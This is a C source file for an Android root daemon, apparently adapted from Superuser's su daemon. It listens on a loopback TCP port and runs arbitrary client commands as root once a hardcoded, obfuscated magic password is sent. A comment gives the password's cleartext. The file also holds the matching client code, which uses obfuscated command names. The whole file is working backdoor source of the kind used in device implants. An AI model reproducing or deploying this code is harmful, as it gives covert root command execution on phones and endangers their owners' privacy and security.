selinux_native/jni/suidext/daemon.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>
#include <limits.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <stdint.h>
#include <pwd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <stdarg.h>
#include <sys/types.h>
#include <pthread.h>
#include <sched.h>
#include <termios.h>
#include <signal.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include "su.h"
#include "utils.h"
#include "pts.h"
#include "suidext.h"
#include "log.h"
#include "shell_params.h"
#include "deobfuscate.h"
#include "daemon.h"
#define ATTY_IN 1
#define ATTY_OUT 2
#define ATTY_ERR 4
#define CREATE_SOCK_ATTEMPTS 15
// "0c7e88b2c6bb81acf089d8f5b73489d1ecedc6b9" : sha1 of "l337Wh0R3@d"
#define MAGIC_WORD "\xf0\xc8\x10\x40\x93\x47\x95\x58\x58\x92\x42\x93\x46\x92\x92\x58\x41\x91\x93\x96\x40\x58\x59\x94\x58\x96\x45\x92\x47\x43\x44\x58\x59\x94\x41\x95\x93\x95\x94\x93\x46\x92\x59"
int is_daemon = 0;
int daemon_from_uid = 0;
int daemon_from_pid = 0;
static int read_int(int fd) {
int val;
int len = read(fd, &val, sizeof(int));
if (len != sizeof(int)) {
LOGE("unable to read int: %d", len);
exit(-1);
}
return val;
}
static void write_int(int fd, int val) {
int written = write(fd, &val, sizeof(int));
if (written != sizeof(int)) {
PLOGE("unable to write int");
exit(-1);
}
}
static char* read_string(int fd) {
int len = read_int(fd);
if (len > PATH_MAX || len < 0) {
LOGE("invalid string length %d", len);
exit(-1);
}
char* val = malloc(sizeof(char) * (len + 1));
if (val == NULL) {
LOGE("unable to malloc string");
exit(-1);
}
val[len] = '\0';
int amount = read(fd, val, len);
if (amount != len) {
LOGE("unable to read string");
exit(-1);
}
return val;
}
static void write_string(int fd, char* val) {
int len = strlen(val);
write_int(fd, len);
int written = write(fd, val, len);
if (written != len) {
PLOGE("unable to write string");
exit(-1);
}
}
#ifdef SUPERUSER_EMBEDDED
static void mount_emulated_storage(int user_id) {
const char *emulated_source = getenv("EMULATED_STORAGE_SOURCE");
const char *emulated_target = getenv("EMULATED_STORAGE_TARGET");
const char* legacy = getenv("EXTERNAL_STORAGE");
if (!emulated_source || !emulated_target) {
// No emulated storage is present
return;
}
// Create a second private mount namespace for our process
if (unshare(CLONE_NEWNS) < 0) {
PLOGE("unshare");
return;
}
if (mount("rootfs", "/", NULL, MS_SLAVE | MS_REC, NULL) < 0) {
PLOGE("mount rootfs as slave");
return;
}
// /mnt/shell/emulated -> /storage/emulated
if (mount(emulated_source, emulated_target, NULL, MS_BIND, NULL) < 0) {
PLOGE("mount emulated storage");
}
char target_user[PATH_MAX];
snprintf(target_user, PATH_MAX, "%s/%d", emulated_target, user_id);
// /mnt/shell/emulated/<user> -> /storage/emulated/legacy
if (mount(target_user, legacy, NULL, MS_BIND | MS_REC, NULL) < 0) {
PLOGE("mount legacy path");
}
}
#endif
static int run_daemon_child(int infd, int outfd, int errfd, int argc, char** argv, int use_socket) {
int ret = 0;
LOGD("in out err %d %d %d", infd, outfd, errfd);
if (-1 == dup2(outfd, STDOUT_FILENO)) {
PLOGE("dup2 child outfd");
LOGE("out: %d\n", outfd);
exit(-1);
}
if (-1 == dup2(errfd, STDERR_FILENO)) {
PLOGE("dup2 child errfd");
exit(-1);
}
if (-1 == dup2(infd, STDIN_FILENO)) {
PLOGE("dup2 child infd");
exit(-1);
}
if(!use_socket) {
close(infd);
close(outfd);
close(errfd);
}
return exec_cmd(argc, argv);
}
static int daemon_accept(int fd) {
int ret = 0;
int use_socket_for_out = 0;
int infd, outfd, errfd;
char *magic_word;
// Magic word?
magic_word = read_string(fd);
if(strcmp(deobfuscate(MAGIC_WORD), magic_word))
exit(-1);
LOGD("Magic word accepted");
is_daemon = 1;
int pid = read_int(fd);
LOGD("remote pid: %d", pid);
char *pts_slave = read_string(fd);
LOGD("remote pts_slave: %s", pts_slave);
daemon_from_uid = read_int(fd);
LOGV("remote uid: %d", daemon_from_uid);
daemon_from_pid = read_int(fd);
LOGV("remote req pid: %d", daemon_from_pid);
int mount_storage = read_int(fd);
int argc = read_int(fd);
if (argc < 0 || argc > 512) {
LOGE("unable to allocate args: %d", argc);
exit(-1);
}
LOGV("remote args: %d", argc);
char** argv = (char**)malloc(sizeof(char*) * (argc + 1));
argv[argc] = NULL;
int i;
for (i = 0; i < argc; i++) {
argv[i] = read_string(fd);
}
// ack
write_int(fd, 1);
// Become session leader
if (setsid() == (pid_t) -1) {
PLOGE("setsid");
}
int ptsfd;
if (pts_slave[0]) {
// Opening the TTY has to occur after
// the setsid() so that it becomes
// our controlling TTY and not the daemon's
close (fd);
ptsfd = open(pts_slave, O_RDWR);
if (ptsfd == -1) {
PLOGE("open(pts_slave) daemon");
exit(-1);
}
LOGD("daemon: stdin using PTY");
infd = ptsfd;
LOGD("daemon: stdout using PTY");
outfd = ptsfd;
LOGD("daemon: stderr using PTY");
errfd = ptsfd;
} else {
// If we dont have a pty, use the socket
use_socket_for_out = 1;
infd = fd;
outfd = fd;
errfd = fd;
LOGD("Using socket for output");
}
free(pts_slave);
ret = run_daemon_child(infd, outfd, errfd, argc, argv, use_socket_for_out);
// If we are communicating via socket and not via pty send the return value
if(use_socket_for_out)
write_int(fd, ret);
return ret;
}
// Run the daemon process
int run_daemon() {
int fd, optval, attempt = 0;
struct sockaddr_in sun;
int socket_done = 0;
setgid(0);
setegid(0);
while(attempt < CREATE_SOCK_ATTEMPTS) {
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
PLOGE("socket");
goto sleep;
}
if (fcntl(fd, F_SETFD, FD_CLOEXEC)) {
PLOGE("fcntl FD_CLOEXEC");
goto sleep;
}
// Open a socket on localhost
memset(&sun, 0, sizeof(sun));
sun.sin_family = AF_INET;
sun.sin_port = htons(SHELL_PORT);
sun.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
// Reuse socket
optval = 1;
if(setsockopt(fd, SOL_SOCKET, (SO_REUSEADDR | SO_REUSEADDR), &optval, sizeof optval) < 0) {
PLOGE("daemon setsockopt");
goto sleep;
}
// bind a socket to a device name (might not work on all systems):
if (bind(fd, (struct sockaddr*)&sun, sizeof(sun)) < 0) {
PLOGE("daemon bind");
goto sleep;
}
if (listen(fd, 10) < 0) {
PLOGE("daemon listen");
goto sleep;
}
else {
socket_done = 1;
break;
}
sleep:
sleep(1);
attempt += 1;
}
if(!socket_done)
goto err;
// Accept loop
// For each incoming connection spawn a new process with init context
int client;
while ((client = accept(fd, NULL, NULL)) > 0) {
if (fork_zero_fucks() == 0) {
close(fd);
return daemon_accept(client);
}
else {
close(client);
}
}
LOGE("daemon exiting");
err:
close(fd);
return -1;
}
// List of signals which cause process termination
static int quit_signals[] = { SIGALRM, SIGHUP, SIGPIPE, SIGQUIT, SIGTERM, SIGINT, 0 };
static void sighandler(int sig) {
restore_stdin();
// Assume we'll only be called before death
// See note before sigaction() in set_stdin_raw()
//
// Now, close all standard I/O to cause the pumps
// to exit so we can continue and retrieve the exit
// code
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
// Put back all the default handlers
struct sigaction act;
int i;
memset(&act, '\0', sizeof(act));
act.sa_handler = SIG_DFL;
for (i = 0; quit_signals[i]; i++) {
if (sigaction(quit_signals[i], &act, NULL) < 0) {
PLOGE("Error removing signal handler");
continue;
}
}
}
/*
* Setup signal handlers trap signals which should result in program termination
* so that we can restore the terminal to its normal state and retrieve the
* return code.
*/
static void setup_sighandlers(void) {
struct sigaction act;
int i;
// Install the termination handlers
// Note: we're assuming that none of these signal handlers are already trapped.
// If they are, we'll need to modify this code to save the previous handler and
// call it after we restore stdin to its previous state.
memset(&act, '\0', sizeof(act));
act.sa_handler = &sighandler;
for (i = 0; quit_signals[i]; i++) {
if (sigaction(quit_signals[i], &act, NULL) < 0) {
PLOGE("Error installing signal handler");
continue;
}
}
}
int connect_daemon(int argc, char *argv[], int client_port) {
unsigned char qzx[] = "\x04\x52\x55\x95\x82\x9c"; // "qzx"
int uid = getuid();
int ptmx;
char pts_slave[PATH_MAX];
int has_output = 0;
int is_returning = 0;
char recvBuff[256];
int ret = 0;
struct sockaddr_in sun;
// Check which command we are executing
// If we are executing a shell command, we need to read the output and not wait for ret
if(strcmp(argv[1], deobfuscate(qzx)) == 0) {
has_output = 1;
is_returning = 0;
}
else is_returning = 1;
// Open a socket to the daemon
int socketfd = socket(AF_INET, SOCK_STREAM, 0);
if (socketfd < 0) {
PLOGE("socket");
exit(-1);
}
if (fcntl(socketfd, F_SETFD, FD_CLOEXEC)) {
PLOGE("fcntl FD_CLOEXEC");
exit(-1);
}
memset(&sun, 0, sizeof(sun));
sun.sin_family = AF_INET;
sun.sin_port = htons(client_port);
if (0 != connect(socketfd, (struct sockaddr*)&sun, sizeof(sun))) {
PLOGE("connect");
return(-1);
}
LOGV("connecting client %d", getpid());
int mount_storage = getenv("MOUNT_EMULATED_STORAGE") != NULL;
// Determine which one of our streams are attached to a TTY
int atty = 0;
// TODO: Check a system property and never use PTYs if
// the property is set.
if (isatty(STDIN_FILENO)) atty |= ATTY_IN;
if (isatty(STDOUT_FILENO)) atty |= ATTY_OUT;
if (isatty(STDERR_FILENO)) atty |= ATTY_ERR;
if (atty) {
// Using PTY
LOGD("Using pty");
// We need a PTY. Get one.
ptmx = pts_open(pts_slave, sizeof(pts_slave));
if (ptmx < 0) {
PLOGE("pts_open");
exit(-1);
}
} else {
pts_slave[0] = '\0';
}
// Send the magic word to the daemon
write_string(socketfd, deobfuscate(MAGIC_WORD));
// Send some info to the daemon, starting with our PID
write_int(socketfd, getpid());
// Send the slave path to the daemon
// (This is "" if we're not using PTYs)
write_string(socketfd, pts_slave);
// User ID
write_int(socketfd, uid);
// Parent PID
write_int(socketfd, getppid());
write_int(socketfd, mount_storage);
// Send stdout
if (atty & ATTY_OUT)
// Forward SIGWINCH
watch_sigwinch_async(STDOUT_FILENO, ptmx);
// Number of command line arguments
write_int(socketfd, mount_storage ? argc - 1 : argc);
// Command line arguments
int i;
for (i = 0; i < argc; i++) {
if (i == 1 && mount_storage) {
continue;
}
write_string(socketfd, argv[i]);
}
// Wait for acknowledgement from daemon
read_int(socketfd);
if (atty & ATTY_IN) {
setup_sighandlers();
pump_stdin_async(ptmx);
}
if (atty & ATTY_OUT) {
pump_stdout_blocking(ptmx);
}
// If we dont have a pty, we need to use the socket to get the output and return value
if(!atty) {
// If we expect an output listen for it
if(has_output) {
LOGD("Command has output... listening");
while((i = read(socketfd, recvBuff, sizeof(recvBuff)-1)) > 0) {
recvBuff[i] = 0;
if(fputs(recvBuff, stdout) == EOF)
LOGE("Error printing output");
}
}
// If we expect a return value listen for it
if(is_returning) {
ret = read_int(socketfd);
LOGD("Received %d", ret);
}
}
close(socketfd);
return ret;
}